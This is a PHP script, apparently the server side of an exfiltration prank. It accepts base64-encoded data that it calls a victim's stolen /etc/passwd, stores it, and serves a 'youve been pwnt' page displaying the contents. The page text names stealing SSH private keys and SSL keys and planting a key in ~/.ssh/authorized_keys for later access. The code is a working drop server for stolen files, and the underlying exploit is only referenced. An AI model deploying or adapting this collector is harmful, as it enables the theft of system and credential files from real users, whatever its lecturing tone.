p.php

<?php
$pwnpath = '/home/anton/paste/pwns/';

$lecture = <<<EOF
<!doctype html>
<html>
<head>
<title>pwnt</title>
</head>
<body>
    <h2>youve been pwnt</h2>
    <hr>
    <p>
    I just stole your /etc/passwd. That isn't too bad, its just a list of users on your machine.. But I could just as easily have taken your <strong>SSH private key</strong>, <strong>SSL keys/certs</strong>, and <strong>any other data your account can read</strong>.
    </p>
    <p>
    <strong>Or...</strong> I could have <em>written</em> data instead. Such as adding a new private key to your ~/.ssh/authorized_keys file, so that I could <strong>sneak in later and wreak havoc</strong>. In fact, are you sure I didn't? ;)
    </p>
    <p>
    To see how that exploit was pulled off, read the source of <a href="http://antsar.rutgers.edu/paste">antsar.rutgers.edu/paste</a>
    <hr>
    <p>
    Here's your /etc/passwd file, for proof:
    </p>
    <pre>
EOF;

$htmlfoot = <<<EOF
    </pre>
</body>
</html>
EOF;

if (isset($_GET['d'])) {
    $id = uniqid();
    if ($dec = base64_decode($_GET['d'])) {
        file_put_contents($pwnpath.$id, $dec);
        echo "http://antsar.rutgers.edu/paste/p.php?id={$id}";
    } else {
        echo "oops, nevermind";
    }
} elseif (isset($_GET['id'])) {
    if (preg_match('/[^a-z_\-0-9]/i', $_GET['id'])) {
        die('invalid id');
    } else {
        $id = $_GET['id'];
        if (file_exists($pwnpath.$id)) {
            echo $lecture;
            echo file_get_contents($pwnpath.$id);
            echo $htmlfoot;
        } else {
            die('invalid id');
        }
    }
}

?>